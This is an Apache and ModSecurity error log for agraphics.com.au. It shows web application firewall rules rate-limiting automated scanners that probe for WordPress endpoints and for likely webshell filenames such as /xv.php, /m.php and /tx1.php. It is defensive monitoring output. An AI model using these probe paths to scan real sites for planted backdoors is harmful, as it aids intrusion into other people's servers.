[Sun Mar 01 21:13:28.258326 2026] [:error] [pid 40750:tid 40774] [client 20.63.80.2:64122] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin.php"] [unique_id "aaQ7eAfBuk03yQKDyqs3KAAAAdU"]
[Sun Mar 01 21:54:38.744083 2026] [:error] [pid 41780:tid 41804] [client 35.84.207.10:56431] [client 35.84.207.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.84.207.10, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRFHsONkVoocLIqzy0uxgAAA9U"]
[Sun Mar 01 21:54:38.753228 2026] [proxy_fcgi:error] [pid 41780:tid 41804] [client 35.84.207.10:56431] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 21:54:40.768034 2026] [:error] [pid 41780:tid 41787] [client 35.84.207.10:56431] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaRFIMONkVoocLIqzy0u0QAAA8Q"]
[Sun Mar 01 21:54:41.144173 2026] [:error] [pid 40750:tid 40761] [client 35.84.207.10:57677] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaRFIQfBuk03yQKDyqtbfwAAAcg"]
[Sun Mar 01 21:54:42.511347 2026] [:error] [pid 7165:tid 7168] [client 35.84.207.10:56354] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaRFIhRjCrA8qWBjgG9cBwAAAkE"]
[Sun Mar 01 21:54:42.882876 2026] [:error] [pid 33822:tid 33843] [client 35.84.207.10:49155] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaRFIm6W3ygu1YVssuYnwQAAApM"]
[Sun Mar 01 21:54:43.252485 2026] [:error] [pid 7165:tid 7181] [client 35.84.207.10:51475] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaRFIxRjCrA8qWBjgG9cDgAAAk4"]
[Sun Mar 01 21:54:44.085720 2026] [:error] [pid 7165:tid 7171] [client 35.84.207.10:55970] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaRFJBRjCrA8qWBjgG9cEwAAAkQ"]
[Sun Mar 01 21:54:44.452824 2026] [:error] [pid 40750:tid 40768] [client 35.84.207.10:65506] [client 35.84.207.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaRFJAfBuk03yQKDyqtbgQAAAc8"]
[Sun Mar 01 22:01:22.568318 2026] [:error] [pid 44644:tid 44656] [client 20.63.80.2:23886] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaRGsp3RJaXMcw3y9V_h_AAAAAk"]
[Sun Mar 01 22:01:23.409675 2026] [:error] [pid 44644:tid 44658] [client 20.63.80.2:23875] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaRGs53RJaXMcw3y9V_h_wAAAAs"]
[Sun Mar 01 22:01:24.238181 2026] [:error] [pid 40750:tid 40777] [client 20.63.80.2:23884] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaRGtAfBuk03yQKDyqthFAAAAdg"]
[Sun Mar 01 22:01:25.060121 2026] [:error] [pid 7165:tid 7170] [client 20.63.80.2:23896] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaRGtRRjCrA8qWBjgG9jQwAAAkM"]
[Sun Mar 01 22:04:28.791375 2026] [proxy_fcgi:error] [pid 38241:tid 38258] [client 20.63.44.70:32137] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:04:29.599837 2026] [proxy_fcgi:error] [pid 38241:tid 38256] [client 20.63.44.70:32137] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:04:30.018951 2026] [proxy_fcgi:error] [pid 38241:tid 38254] [client 20.63.44.70:32137] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:04:30.231022 2026] [proxy_fcgi:error] [pid 38241:tid 38252] [client 20.63.44.70:32137] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:04:30.650880 2026] [proxy_fcgi:error] [pid 38241:tid 38248] [client 20.63.44.70:32137] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:04:30.860269 2026] [proxy_fcgi:error] [pid 38241:tid 38266] [client 20.63.44.70:32137] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:04:31.071702 2026] [proxy_fcgi:error] [pid 38241:tid 38247] [client 20.63.44.70:32137] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:04:31.493822 2026] [:error] [pid 38241:tid 38245] [client 20.63.44.70:32137] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaRHb_KRPk6YnJBxw_wpfAAAAME"]
[Sun Mar 01 22:04:32.334841 2026] [:error] [pid 40750:tid 40763] [client 20.63.44.70:31883] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaRHcAfBuk03yQKDyqtisAAAAco"]
[Sun Mar 01 22:04:33.197438 2026] [:error] [pid 7165:tid 7171] [client 20.63.44.70:32136] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaRHcRRjCrA8qWBjgG9lbQAAAkQ"]
[Sun Mar 01 22:04:34.026232 2026] [:error] [pid 40750:tid 40764] [client 20.63.44.70:31881] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaRHcgfBuk03yQKDyqtiuQAAAcs"]
[Sun Mar 01 22:51:02.810718 2026] [proxy_fcgi:error] [pid 7133:tid 7136] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:02.965597 2026] [proxy_fcgi:error] [pid 7133:tid 7148] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:03.119472 2026] [proxy_fcgi:error] [pid 7133:tid 7144] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:03.291451 2026] [proxy_fcgi:error] [pid 7133:tid 7155] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:03.439349 2026] [:error] [pid 7133:tid 7158] [client 20.89.52.173:21540] [client 20.89.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.89.52.173, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaRSV_Ctubh8pR64qB9nlAAAAFc"]
[Sun Mar 01 22:51:03.443323 2026] [proxy_fcgi:error] [pid 7133:tid 7158] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:03.608643 2026] [proxy_fcgi:error] [pid 7133:tid 7156] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:03.757322 2026] [proxy_fcgi:error] [pid 7133:tid 7154] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:03.908395 2026] [proxy_fcgi:error] [pid 7133:tid 7139] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:04.060798 2026] [proxy_fcgi:error] [pid 7133:tid 7143] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:04.211967 2026] [proxy_fcgi:error] [pid 7133:tid 7149] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:04.365523 2026] [proxy_fcgi:error] [pid 7133:tid 7151] [client 20.89.52.173:21540] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 22:51:04.513277 2026] [:error] [pid 7133:tid 7157] [client 20.89.52.173:21540] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaRSWPCtubh8pR64qB9nnAAAAFY"]
[Sun Mar 01 22:51:04.987265 2026] [:error] [pid 38034:tid 38043] [client 20.89.52.173:22697] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaRSWAxtfZjwlJok9K8oYAAAAQU"]
[Sun Mar 01 22:51:05.441551 2026] [:error] [pid 7165:tid 7181] [client 20.89.52.173:18317] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaRSWRRjCrA8qWBjgG-TqgAAAk4"]
[Sun Mar 01 22:51:05.913079 2026] [:error] [pid 38241:tid 38263] [client 20.89.52.173:27388] [client 20.89.52.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaRSWfKRPk6YnJBxw_w_3QAAANM"]
[Sun Mar 01 23:45:05.677888 2026] [proxy_fcgi:error] [pid 40750:tid 40762] [client 20.104.124.39:1765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:45:05.885342 2026] [proxy_fcgi:error] [pid 40750:tid 40755] [client 20.104.124.39:1765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:45:06.372280 2026] [proxy_fcgi:error] [pid 40750:tid 40761] [client 20.104.124.39:1765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:45:06.579929 2026] [proxy_fcgi:error] [pid 40750:tid 40771] [client 20.104.124.39:1765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:45:06.789016 2026] [proxy_fcgi:error] [pid 40750:tid 40770] [client 20.104.124.39:1765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:45:07.897916 2026] [proxy_fcgi:error] [pid 40750:tid 40757] [client 20.104.124.39:1765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:45:08.142129 2026] [proxy_fcgi:error] [pid 40750:tid 40761] [client 20.104.124.39:1765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:45:08.593517 2026] [proxy_fcgi:error] [pid 40750:tid 40763] [client 20.104.124.39:1765] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:45:08.797365 2026] [:error] [pid 40750:tid 40760] [client 20.104.124.39:1765] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aaRfBAfBuk03yQKDyqupOgAAAcc"]
[Sun Mar 01 23:45:12.587866 2026] [:error] [pid 40750:tid 40772] [client 20.104.124.39:1774] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aaRfCAfBuk03yQKDyqupRwAAAdM"]
[Sun Mar 01 23:45:15.672475 2026] [:error] [pid 40750:tid 40777] [client 20.104.124.39:1710] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aaRfCwfBuk03yQKDyqupVAAAAdg"]
[Sun Mar 01 23:45:18.944974 2026] [:error] [pid 44644:tid 44666] [client 20.104.124.39:1741] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aaRfDp3RJaXMcw3y9V_twAAAABM"]
[Sun Mar 01 23:45:25.506434 2026] [:error] [pid 7165:tid 7190] [client 20.104.124.39:1711] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aaRfFRRjCrA8qWBjgG_JlgAAAlc"]
[Sun Mar 01 23:45:27.934401 2026] [:error] [pid 38241:tid 38249] [client 20.104.124.39:1680] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aaRfF_KRPk6YnJBxw_xZ0AAAAMU"]
[Sun Mar 01 23:45:30.549586 2026] [:error] [pid 40750:tid 40767] [client 20.104.124.39:1742] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aaRfGgfBuk03yQKDyqupeQAAAc4"]
[Sun Mar 01 23:45:34.273709 2026] [:error] [pid 33822:tid 33834] [client 20.104.124.39:1706] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aaRfHm6W3ygu1YVssuZGNQAAAoo"]
[Sun Mar 01 23:45:39.534790 2026] [:error] [pid 7133:tid 7139] [client 20.104.124.39:1700] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aaRfI_Ctubh8pR64qB99HQAAAEQ"]
[Sun Mar 01 23:45:41.780115 2026] [:error] [pid 37032:tid 37043] [client 20.104.124.39:1788] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aaRfJeu0U4o7eSImsVSWaAAAAYk"]
[Sun Mar 01 23:45:44.249745 2026] [:error] [pid 38241:tid 38253] [client 20.104.124.39:1670] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aaRfKPKRPk6YnJBxw_xZ9AAAAMk"]
[Sun Mar 01 23:45:47.812605 2026] [:error] [pid 37032:tid 37056] [client 20.104.124.39:1696] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aaRfK-u0U4o7eSImsVSWbAAAAZY"]
[Sun Mar 01 23:45:50.473559 2026] [:error] [pid 7165:tid 7170] [client 20.104.124.39:1733] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aaRfLhRjCrA8qWBjgG_JuAAAAkM"]
[Sun Mar 01 23:45:54.453660 2026] [:error] [pid 38034:tid 38061] [client 20.104.124.39:1763] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aaRfMgxtfZjwlJok9K80iAAAARc"]
[Sun Mar 01 23:45:57.361007 2026] [:error] [pid 33822:tid 33840] [client 20.104.124.39:1755] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aaRfNW6W3ygu1YVssuZGWgAAApA"]
[Sun Mar 01 23:46:00.906889 2026] [:error] [pid 38241:tid 38259] [client 20.104.124.39:1751] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aaRfOPKRPk6YnJBxw_xaEwAAAM8"]
[Sun Mar 01 23:46:04.329197 2026] [:error] [pid 7165:tid 7178] [client 20.104.124.39:1780] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aaRfPBRjCrA8qWBjgG_J0wAAAks"]
[Sun Mar 01 23:46:07.334482 2026] [:error] [pid 7165:tid 7178] [client 20.104.124.39:26969] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aaRfPxRjCrA8qWBjgG_J7wAAAks"]
[Sun Mar 01 23:46:11.784497 2026] [proxy_fcgi:error] [pid 38241:tid 38261] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:11.999201 2026] [proxy_fcgi:error] [pid 38241:tid 38247] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:12.214017 2026] [proxy_fcgi:error] [pid 38241:tid 38250] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:12.431970 2026] [proxy_fcgi:error] [pid 38241:tid 38263] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:12.647462 2026] [proxy_fcgi:error] [pid 38241:tid 38258] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:12.864416 2026] [proxy_fcgi:error] [pid 38241:tid 38268] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:13.079586 2026] [proxy_fcgi:error] [pid 38241:tid 38255] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:13.298557 2026] [proxy_fcgi:error] [pid 38241:tid 38245] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:13.515596 2026] [proxy_fcgi:error] [pid 38241:tid 38257] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:13.740916 2026] [proxy_fcgi:error] [pid 38241:tid 38249] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:13.957270 2026] [proxy_fcgi:error] [pid 38241:tid 38262] [client 20.104.124.39:1712] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:46:15.273339 2026] [:error] [pid 38241:tid 38260] [client 20.104.124.39:1712] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/m.php"] [unique_id "aaRfR_KRPk6YnJBxw_xaOAAAANA"]
[Sun Mar 01 23:46:16.972757 2026] [:error] [pid 7165:tid 7188] [client 20.104.124.39:1669] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/m.php"] [unique_id "aaRfSBRjCrA8qWBjgG_KKAAAAlU"]
[Sun Mar 01 23:46:20.315027 2026] [:error] [pid 7165:tid 7169] [client 20.104.124.39:26896] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/m.php"] [unique_id "aaRfTBRjCrA8qWBjgG_KOAAAAkI"]
[Sun Mar 01 23:46:24.055159 2026] [:error] [pid 38241:tid 38244] [client 20.104.124.39:1695] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/m.php"] [unique_id "aaRfUPKRPk6YnJBxw_xaPgAAAMA"]
